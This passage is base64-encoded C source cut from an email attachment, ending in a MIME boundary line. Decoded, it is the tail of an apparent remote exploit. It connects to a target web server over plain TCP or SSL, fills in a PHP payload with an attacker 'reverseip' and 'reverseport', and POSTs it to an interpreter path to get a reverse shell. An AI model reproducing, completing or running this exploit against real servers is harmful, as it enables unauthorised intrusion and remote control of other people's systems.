PSBzdHJkdXAoZm9yY2VpbnRlcnByZXRlcik7DQogICB9DQogICBpZiAoZm9yY2VpbnRlcnByZXRl
ciAmJiBpKQ0KICAgIGJyZWFrOw0KICAgcHJpbnRmKCIlc1xuIiwgaW50ZXJwcmV0ZXIpOw0KICAg
DQogICBzb2NrZmQgPSBzb2NrZXQoQUZfSU5FVCwgU09DS19TVFJFQU0sIDApOw0KICAgaWYgKHNv
Y2tmZCA8IDEpIHsgDQoJIHByaW50Zigic29ja2V0IGVycm9yICg4KVxuIik7DQoJIGV4aXQoMjU1
KTsNCiAgIH0NCiAgDQogICBpZiAoY29ubmVjdChzb2NrZmQsICh2b2lkKilzZXJ2ZXIsIHNpemVv
ZihzdHJ1Y3Qgc29ja2FkZHJfaW4pKSA8IDApIHsNCiAgICBwcmludGYoImNvbm5lY3QgZXJyb3Ig
KDkpXG4iKTsNCiAgICBleGl0KDI1NSk7CSAgDQogICB9DQogICBpZiAoaHR0cHNmbGFnKSB7DQog
ICAgc3NsY29ubmVjdGlvbiA9IChjb25uZWN0aW9uKikgbWFsbG9jKHNpemVvZihjb25uZWN0aW9u
KSk7DQogICAgaWYgKCFzc2xjb25uZWN0aW9uKSB7DQogICAgIHByaW50ZigibWFsbG9jIGVycm9y
ICgxMClcbiIpOw0KICAgICBleGl0KDI1NSk7ICAgDQogICAgfQ0KICAgIHNzbGNvbm5lY3Rpb24t
PmhhbmRsZSA9IE5VTEw7DQogICAgc3NsY29ubmVjdGlvbi0+Y3R4ID0gTlVMTDsNCg0KICAgIFNT
TF9saWJyYXJ5X2luaXQoKTsNCg0KICAgIHNzbGNvbm5lY3Rpb24tPmN0eCA9IFNTTF9DVFhfbmV3
KFNTTHYyM19jbGllbnRfbWV0aG9kKCkpOw0KICAgIGlmICghc3NsY29ubmVjdGlvbi0+Y3R4KSB7
DQogCSBwcmludGYoIlNTTF9DVFhfbmV3IGVycm9yICgxMSlcbiIpOw0KICAgICBleGl0KDI1NSk7
DQogICAgfQ0KDQogICAgc3NsY29ubmVjdGlvbi0+aGFuZGxlID0gU1NMX25ldyhzc2xjb25uZWN0
aW9uLT5jdHgpOw0KICAgIGlmICghc3NsY29ubmVjdGlvbi0+aGFuZGxlKSB7DQogCSBwcmludGYo
IlNTTF9uZXcgZXJyb3IgKDEyKVxuIik7DQoJIGV4aXQoMjU1KTsgICANCiAgICB9DQogICAgaWYg
KCFTU0xfc2V0X2ZkKHNzbGNvbm5lY3Rpb24tPmhhbmRsZSwgc29ja2ZkKSkgew0KIAkgcHJpbnRm
KCJTU0xfc2V0X2ZkIGVycm9yICgxMylcbiIpOw0KICAgICBleGl0KDI1NSk7DQogICAgfQ0KICAg
DQogICAgaWYgKFNTTF9jb25uZWN0KHNzbGNvbm5lY3Rpb24tPmhhbmRsZSkgIT0gMSkgew0KCSBw
cmludGYoIlNTTF9jb25uZWN0IGVycm9yICgxNClcbiIpOw0KICAgICBleGl0KDI1NSk7ICAgICAg
IA0KICAgIH0NCiAgIH0NCiAgDQogICB0bXBzaXplID0gc3RybGVuKHBocHN0cikgKyBzdHJsZW4o
cmV2ZXJzZWlwKSArIHN0cmxlbihyZXZlcnNlcG9ydHN0cikgKyA2NDsNCiAgIHRtcHN0ciA9IChj
aGFyKiljYWxsb2ModG1wc2l6ZSwgc2l6ZW9mKGNoYXIpKTsNCiAgIHNucHJpbnRmKHRtcHN0ciwg
dG1wc2l6ZSwgcGhwc3RyLCByZXZlcnNlaXAsIHJldmVyc2Vwb3J0KTsNCiAgIA0KICAgd3JpdGVz
aXplID0gc3RybGVuKHRhcmdldCkgKyBzdHJsZW4oaW50ZXJwcmV0ZXIpICsgDQogICAgIHN0cmxl
bihwb3N0c3RyKSArIHN0cmxlbih0bXBzdHIpICsgNjQ7DQogICB3cml0ZXN0ciA9IChjaGFyKilj
YWxsb2Mod3JpdGVzaXplLCBzaXplb2YoY2hhcikpOw0KICAgc25wcmludGYod3JpdGVzdHIsIHdy
aXRlc2l6ZSwgcG9zdHN0ciwgaW50ZXJwcmV0ZXIsDQogICAgIHRhcmdldCwgc3RybGVuKHRtcHN0
ciksIHRtcHN0cik7DQogIA0KICAgaWYgKCFodHRwc2ZsYWcpIHsNCgkgd3JpdGUoc29ja2ZkLCB3
cml0ZXN0ciwgc3RybGVuKHdyaXRlc3RyKSk7DQoJIHJlYWRidWYgPSByZWFkXyhzb2NrZmQpOw0K
ICAgfSBlbHNlIHsNCgkgU1NMX3dyaXRlKHNzbGNvbm5lY3Rpb24tPmhhbmRsZSwgd3JpdGVzdHIs
IHN0cmxlbih3cml0ZXN0cikpOw0KCSByZWFkYnVmID0gc3NscmVhZChzc2xjb25uZWN0aW9uKTsN
CiAgIH0NCiAgDQogICBpZiAocmVhZGJ1Zikgew0KICAgICBwcmludGYoIioqKlNFUlZFUiBSRVNQ
T05TRSoqKlxuXG4lc1xuXG4iLCByZWFkYnVmKTsgIA0KICAgfSBlbHNlIHsNCiAgICBwcmludGYo
InJlYWQgZXJyb3IgKDE1KVxuIik7DQogICAgZXhpdCgyNTUpOwkgIA0KICAgfQ0KICB9DQogIGV4
aXQoMSk7DQp9DQoNCg==
--089e01634aa675c71b04e9e41b8e--